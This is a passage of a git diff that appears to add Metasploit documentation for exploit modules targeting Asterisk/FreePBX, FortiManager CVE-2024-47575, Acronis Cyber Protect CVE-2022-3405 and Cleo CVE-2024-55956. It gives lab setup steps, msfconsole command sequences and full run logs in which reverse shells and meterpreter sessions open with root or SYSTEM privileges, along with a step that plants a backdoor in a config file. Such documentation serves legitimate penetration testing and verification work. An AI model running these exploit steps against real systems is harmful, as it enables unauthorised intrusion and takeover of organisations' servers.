Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:43812) at 2024-11-04 09:09:57 -0500 + +meterpreter > shell +Process 5831 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 19.8.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 07:07:49 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 +``` + +### FreePBX 12.7.8-2302-1.sng7 (SNG7-PBX16-64bit-2302-1) with Asterisk 18 + +``` +resource (ami.rb)> use exploit/linux/misc/asterisk_ami_originate_auth_rce +[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp +resource (ami.rb)> set rhosts 1.1.1.1 +rhosts => 1.1.1.1 +resource (ami.rb)> set lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (ami.rb)> set username testuser +username => testuser +resource (ami.rb)> set password testuser +password => testuser +resource (ami.rb)> set verbose true +verbose => true +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > set parkinglot 700@parkedcalls +parkinglot => 700@parkedcalls +msf6 exploit(linux/misc/asterisk_ami_originate_auth_rce) > exploit + +[*] Started reverse TCP handler on 2.2.2.2:4444 +[*] 1.1.1.1:5038 - Running automatic check ("set AutoCheck false" to disable) +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[!] 1.1.1.1:5038 - No active DB -- Credential data will not be saved! +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Checking Asterisk version +[!] 1.1.1.1:5038 - The service is running, but could not be validated. Able to connect, unable to determine version +[*] 1.1.1.1:5038 - Connecting... +[*] 1.1.1.1:5038 - Found Asterisk Call Manager version 7.0.3 +[*] 1.1.1.1:5038 - Authenticating as 'testuser' +[+] 1.1.1.1:5038 - Authenticated successfully +[*] 1.1.1.1:5038 - Using new context name: fSvWOLdAx +[*] 1.1.1.1:5038 - Loading conf file +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Setting backdoor +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Reloading config +[+] 1.1.1.1:5038 - Response: Success, Message: Originate successfully queued +[*] 1.1.1.1:5038 - Triggering shellcode +[*] Sending stage (24772 bytes) to 1.1.1.1 +[+] 1.1.1.1:5038 - !!!Don't forget to clean evidence from /etc/asterisk/extensions.conf!!! +[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:53468) at 2024-11-04 09:37:35 -0500 + +meterpreter > shell +Process 3977 created. +Channel 1 created. +asterisk -rx "core show version" +Asterisk 18.16.0 built by mockbuild @ jenkins7 on a x86_64 running Linux on 2023-01-16 06:50:30 UTC +cat /etc/schmooze/pbx-version +12.7.8-2302-1.sng7 +``` \ No newline at end of file diff --git a/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md new file mode 100644 index 000000000000..7ec1f644ec81 --- /dev/null +++ b/documentation/modules/exploit/linux/misc/fortimanager_rce_cve_2024_47575.md @@ -0,0 +1,146 @@ +## Vulnerable Application +This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager +Cloud devices to achieve unauthenticated RCE with root privileges. + +For a full technical analysis, please see our +AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis). + +The vulnerable FortiManager versions are: +* 7.6.0 +* 7.4.0 through 7.4.4 +* 7.2.0 through 7.2.7 +* 7.0.0 through 7.0.12 +* 6.4.0 through 6.4.14 +* 6.2.0 through 6.2.12 + +The vulnerable FortiManager Cloud versions are: +* 7.4.1 through 7.4.4 +* 7.2.1 through 7.2.7 +* 7.0.1 through 7.0.12 +* 6.4 (all versions). + +## Testing +You will need to acquire a firmware image for a suitable version of FortiManager. For example, to deploy FortiManager +`7.6.0` as a VM on HyperV, download the file `FMG_VM64_HV-v7.6.0.F-build3340-FORTINET.out.hyperv.zip`. +* Extract the contents of this archive. You will get a primary hard drive image `fmg.vhd`. +* In HyperV: + * Create a new virtual machine with 4096 MB RAM and 1 vCPU. + * Add 4 network adapters, the first must be connected to your external network (or similar) which can assigned an IP +via DHCP. The remaining 3 adapters can remain unconnected. + * In the IDE controller, add a new hard drive and select the `fmg.vhd` image. + * In the IDE controller, add a new hard drive and create an empty image (128GB). This is used by the device to store +data after setup. + * Boot the machine. +* The console will display the FortiManager boot sequence and drop you to a login prompt. The default username is `admin` +and the default password is empty. After you log in as admin the first time, you will be instructed to set a new admin +password. +* After logging in, you will be dropped to a CLI shell. Run the command `get system interface port1` in order to +discover the IP address of your new FortiManager device. +* At this point you can successfully exploit an unlicensed FortiManager device. Alternatively you can acquire a trial +license of FortiManager and complete the setup by visiting `https:///` in your browser. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/linux/misc/fortimanager_rce_cve_2024_47575` +3. `set RHOST ` +4. `set LHOST eth0` +5. `set LPORT 4444` +6. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp` +7. `check` +8. `exploit` + +## Options +The exploit provides a suitable client certificate/key pair by default, however we can let a user configure +a different certificate/key pair to use if they want. The user can also override the serial number and +platform if needed, but the exploit will try to detect the serial number and platform from the certificate +by default. + +### ClientCert +A file path to an x509 cert, signed by Fortinet, with a serial number in the CN + +### ClientKey +A file path to the corresponding private key for the ClientCert. + +### ClientSerialNumber +If set, use this serial number instead of extracting one from the ClientCert. + +### ClientPlatform +If set, use this platform instead of determining the platform at runtime. + +## Scenarios + +### Default + +``` +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set RHOST 192.168.86.93 +RHOST => 192.168.86.93 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter_reverse_tcp +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > show options + +Module options (exploit/linux/misc/fortimanager_rce_cve_2024_47575): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ClientCert no A file path to an x509 cert, signed by Fortinet, with a serial number in the CN + ClientKey no A file path to the corresponding private key for the ClientCert. + ClientPlatform no If set, use this platform instead of determining the platform at runtime. + ClientSerialNumber no If set, use this serial number instead of extracting one from the ClientCert. + RHOSTS 192.168.86.93 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using- + metasploit.html + RPORT 541 yes The target port (TCP) + + +Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME GfogzcPTWbTb no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces + LHOST eth0 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Default + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > check +[*] 192.168.86.93:541 - The service is running, but could not be validated. Detected Fortinet FortiManager +msf6 exploit(linux/misc/fortimanager_rce_cve_2024_47575) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] 192.168.86.93:541 - Client certificate common name: FMG-VM0000000000 +[*] 192.168.86.93:541 - Using client serial number 'FMG-VM0000000000' and platform 'FortiManager-VM64'. +[*] 192.168.86.93:541 - Connecting... +[*] 192.168.86.93:541 - Registering device... +[*] 192.168.86.93:541 - Creating channel... +[*] 192.168.86.93:541 - Triggering... +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.93:16620) at 2024-11-15 12:48:15 +0000 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.93 +OS : (Linux 5.15.109) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md new file mode 100644 index 000000000000..8d55ed46fa41 --- /dev/null +++ b/documentation/modules/exploit/multi/http/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -0,0 +1,354 @@ +## Vulnerable Application +Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. +Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. +The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents +on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. +As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions +on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, +retrieve a bearer token that provides admin access to the available functions in the web console. + +The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) +and also the appliance (e.g., via a Validation job on the agent of the appliance). +These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance +itself. + +You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation +in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and +payload settings configured at the module. + +Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and +Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +The following releases were tested. + +**Acronis Cyber Protect 15 ISO appliances:** +* Acronis Cyber Protect 15 Build 28503 +* Acronis Cyber Protect 15 Build 27009 +* Acronis Cyber Protect 15 Build 26981 +* Acronis Cyber Protect 15 Build 26172 + +**Acronis Cyber Protect 12.5 ISO appliances:** +* Acronis Cyber Protect 12.5 Build 16428 +* Acronis Cyber Protect 12.5 Build 16386 +* Acronis Cyber Protect 12.5 Build 14330 +* Acronis Cyber Protect 12.5 Build 11010 + +## Installation steps to install the Acronis Cyber Protect/Backup appliance +* Install the virtualization engine VMware Fusion on your preferred platform. +* [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). +* [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). +* Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. +* During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address +* using the option `change installation settings`. +* Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` +* via the `webui` via `http://your_ip:9877`. +* Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. +* Login into the appliance via the `webui`. +* Follow the license instructions to apply your 30-day trial license. + +You are now ready to test the module. + +## Verification Steps +- [ ] Start `msfconsole` +- [ ] `modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405` +- [ ] `set rhosts ` +- [ ] `set lhost ` +- [ ] `exploit` +- [ ] you should get a `shell` or `meterpreter` session depending on your settings. + +## Options +These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance. +This information can be collected using the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +This information is not mandatory for the module to run successfully. +You can also run this module standalone and it will try to exploit the first online endpoint matching your target +and payload settings configured at the module. +### HOSTID +HostId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### KEY +Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### PARENTID +ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### OUTPUT +You can use option `none` where no information is stored or printed to the console (default). +Choosing option `json` will store all information at a file in `json` format at the loot directory. +You can use this file in combination with `jq` for offline queries and processing. + +## Scenarios +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > info + + Name: Acronis Cyber Protect/Backup remote code execution + Module: exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405 + Platform: Unix, Linux, Windows + Arch: cmd + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2022-11-08 + +Provided by: + h00die-gr3y + Sandro Tolksdorf of usd AG. + +Module side effects: + artifacts-on-disk + ioc-in-logs + +Module stability: + crash-safe + +Module reliability: + repeatable-session + +Available targets: + Id Name + -- ---- + => 0 Unix/Linux Command + 1 Windows Command + +Check supported: + Yes + +Basic options: + Name Current Setting Required Description + ---- --------------- -------- ----------- + HOSTID no hostId value collected from recon module "auxiliary/gather/a + cronis_cyber_protect_machine_info_disclosure" + KEY no key value collected from recon module "auxiliary/gather/acro + nis_cyber_protect_machine_info_disclosure" + OUTPUT none yes Output format to use (Accepted: none, json) + PARENTID no parentId value collected from recon module "auxiliary/gather + /acronis_cyber_protect_machine_info_disclosure" + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/usi + ng-metasploit/basics/using-metasploit.html + RPORT 9877 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + TARGETURI / yes The URI of the vulnerable Acronis Cyber Protect/Backup insta + nce + VHOST no HTTP server virtual host + +Payload information: + +Description: + Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, + compute, storage and application resources. Businesses and Service Providers are using it + to protect and backup all IT assets in their IT environment. + The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous + registration of new protect/backup agents on new endpoints. This API endpoint also + generates bearer tokens which the agent then uses to authenticate to the appliance. + As the management web console is running on the same port as the API for the agents, this + bearer token is also valid for any actions on the web console. This allows an attacker + with network access to the appliance to start the registration of a new agent, retrieve a + bearer token that provides admin access to the available functions in the web console. + + The web console contains multiple possibilities to execute arbitrary commands on both the + agents (e.g., via PreCommands for a backup) and also the appliance (e.g., via a Validation + job on the agent of the appliance). These options can easily be set with the provided bearer + token, which leads to a complete compromise of all agents and the appliance itself. + + You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` + to collect target info for exploitation in this module. Or just run this module standalone and + it will try to exploit the first online endpoint matching your target and payload settings + configured at the module. + + Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and + Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. + +References: + https://nvd.nist.gov/vuln/detail/CVE-2022-3405 + https://herolab.usd.de/security-advisories/usd-2022-0008/ + https://attackerkb.com/topics/WVI3r5eNIc/cve-2022-3405 + + +View the full module info with the info -d command. +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Linux target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +target => 0 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_SRVHOST 192.168.201.8 +FETCH_SRVHOST => 192.168.201.8 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set FETCH_WRITABLE_DIR /tmp +FETCH_WRITABLE_DIR => /tmp +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[*] Found online target matching your target setting Unix/Linux Command. +[+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.F70D1B08-5097-4CE5-8E22-F9E0DB75401F@345C3F1E-92C3-4E92-8EF8-AC6BF136BB83.disks +[*] type: machine +[*] hostname: AcronisAppliance-AC319 +[*] IP: 192.168.201.6 +[*] OS: GNU/Linux +[*] ARCH: linux +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83. +[*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp +[*] Sending stage (3045380 bytes) to 192.168.201.6 +[*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000 +[+] Backup plan is successful removed. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.201.6 +OS : CentOS 7.4.1708 (Linux 3.10.0-693.11.6.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +meterpreter > pwd +/var/lib/Acronis/mms +meterpreter > +``` +### Acronis Cyber Backup 12.5 build 14330 VMware appliance - Windows target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 +target => 1 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json +output => json +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell +payload => cmd/windows/reverse_powershell +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin +[*] Found online target matching your target setting Windows Command. +[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks +[*] type: machine +[*] hostname: WIN-BJDNH44EEDB +[*] IP: 192.168.201.5 +[*] OS: Microsoft Windows Server 2019 Standard +[*] ARCH: windows +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC. +[*] Executing Windows Command with payload cmd/windows/reverse_powershell +[*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000 +[+] Backup plan is successful removed. + + +Shell Banner: +Microsoft Windows [Version 10.0.17763.107] +----- + + +C:\Windows\system32>whoami +whoami +nt authority\system + +C:\Windows\system32>systeminfo +systeminfo + +Host Name: WIN-BJDNH44EEDB +OS Name: Microsoft Windows Server 2019 Standard +OS Version: 10.0.17763 N/A Build 17763 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 00429-70000-00000-AA946 +Original Install Date: 1/26/2023, 10:05:52 AM +System Boot Time: 10/23/2024, 2:44:05 PM +System Manufacturer: innotek GmbH +System Model: VirtualBox +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2307 Mhz +BIOS Version: innotek GmbH VirtualBox, 12/1/2006 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna +Total Physical Memory: 2,048 MB +Available Physical Memory: 475 MB +Virtual Memory: Max Size: 4,224 MB +Virtual Memory: Available: 2,800 MB +Virtual Memory: In Use: 1,424 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: N/A +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB4464455 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Desktop Adapter + Connection Name: Ethernet + DHCP Enabled: No + IP address(es) + [01]: 192.168.201.5 + [02]: fe80::85ec:4690:3774:2b6b + [03]: fdf7:94fa:75b3:fe44:85ec:4690:3774:2b6b +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + +C:\Windows\system32> +``` +### Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +target => 0 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[*] Found online target matching your target setting Unix/Linux Command. +[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks +[*] type: machine +[*] hostname: AcronisAppliance-FCD94 +[*] IP: 192.168.201.6 +[*] OS: Linux: CentOS Linux release 7.6.1810 (Core) +[*] ARCH: linux +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D. +[*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash +[*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000 +[+] Backup plan is successful removed. + +uname -a +Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +pwd +/var/lib/Acronis/mms +``` + +## Limitations +In some occasions, the exploit might fail. +Adjust the `WfsDelay` advanced option might help. diff --git a/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md new file mode 100644 index 000000000000..b03ed6596405 --- /dev/null +++ b/documentation/modules/exploit/multi/http/cleo_rce_cve_2024_55956.md @@ -0,0 +1,177 @@ +## Vulnerable Application +This module exploits an unauthenticated file write vulnerability in Cleo LexiCom, VLTrader, and Harmony +versions 5.8.0.23 and below. + +For a full technical analysis, please see our +AttackerKB [Rapid7 Analysis](https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis). + +## Testing +You must install a vulnerable copy of Cleo LexiCom, VLTrader, or Harmony. The vendor install guide for Cleo LexiCom +can be found [here](https://cleo-infoeng.s3.us-east-2.amazonaws.com/PDF/LexiCom/5.8/LexiCom_58_InstallGuide_072222.pdf). +During testing of this module Cleo LexiCom was used. On Windows you will download the `install.exe` file and on Linux +you will download the `install.bin` file. Running the installer to complete the installation. + +By default, the HTTP service will listen on TCP port 5080, so you will need to allow inbound connections to this port +from your firewall. + +If testing the default Windows payloads, you should disable Defender. + +## Verification Steps + +1. Start msfconsole +2. `use exploit/multi/http/cleo_rce_cve_2024_55956` +3. `set RHOST ` +4. `set LHOST eth0` +5. `set LPORT 4444` +6. `set target 0` +7. `set PAYLOAD java/meterpreter/reverse_tcp` +8. `check` +9. `exploit` + +## Scenarios + +### Java + +``` +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 +RHOSTS => 192.168.86.50 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 +LHOST => 192.168.86.42 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 0 +target => 1 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload java/meterpreter/reverse_tcp +payload => java/meterpreter/reverse_tcp +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options + +Module options (exploit/multi/http/cleo_rce_cve_2024_55956): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 5080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (java/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Java + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check +[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +[*] Sending stage (58073 bytes) to 192.168.86.50 +[+] Deleted temp/iidqizro +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:59172) at 2024-12-17 13:40:58 +0000 +[!] This exploit may require manual cleanup of 'temp/kagdkplw' on the target + +meterpreter > getuid +Server username: WIN-V28QNSO2H05$ +meterpreter > sysinfo +Computer : WIN-V28QNSO2H05 +OS : Windows Server 2022 10.0 (amd64) +Architecture : x64 +System Language : en_IE +Meterpreter : java/windows +meterpreter > pwd +C:\LexiCom +meterpreter > +``` + +### Windows Command + +``` +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set RHOSTS 192.168.86.50 +RHOSTS => 192.168.86.50 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LHOST eth0 +LHOST => 192.168.86.42 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set LPORT 4444 +LPORT => 4444 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set target 1 +target => 1 +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > set payload cmd/windows/http/x64/meterpreter_reverse_tcp +payload => cmd/windows/http/x64/meterpreter_reverse_tcp +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > show options + +Module options (exploit/multi/http/cleo_rce_cve_2024_55956): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 5080 yes The target port (TCP) + SSL false no Negotiate SSL/TLS for outgoing connections + VHOST no HTTP server virtual host + + +Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) + EXTENSIONS no Comma-separate list of extensions to load + EXTINIT no Initialization strings for extensions + FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) + FETCH_DELETE false yes Attempt to delete the binary after execution + FETCH_FILENAME APpIYmSCo no Name to use on remote system when storing payload; cannot contain spaces or slashes + FETCH_SRVHOST no Local IP to use for serving payload + FETCH_SRVPORT 8080 yes Local port to use for serving payload + FETCH_URIPATH no Local URI to use for serving payload + FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. + LHOST 192.168.86.42 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Windows Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > check +[*] 192.168.86.50:5080 - The target appears to be vulnerable. Cleo LexiCom/5.8.0.0 (Windows Server 2022) +msf6 exploit(multi/http/cleo_rce_cve_2024_55956) > exploit +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Running automatic check ("set AutoCheck false" to disable) 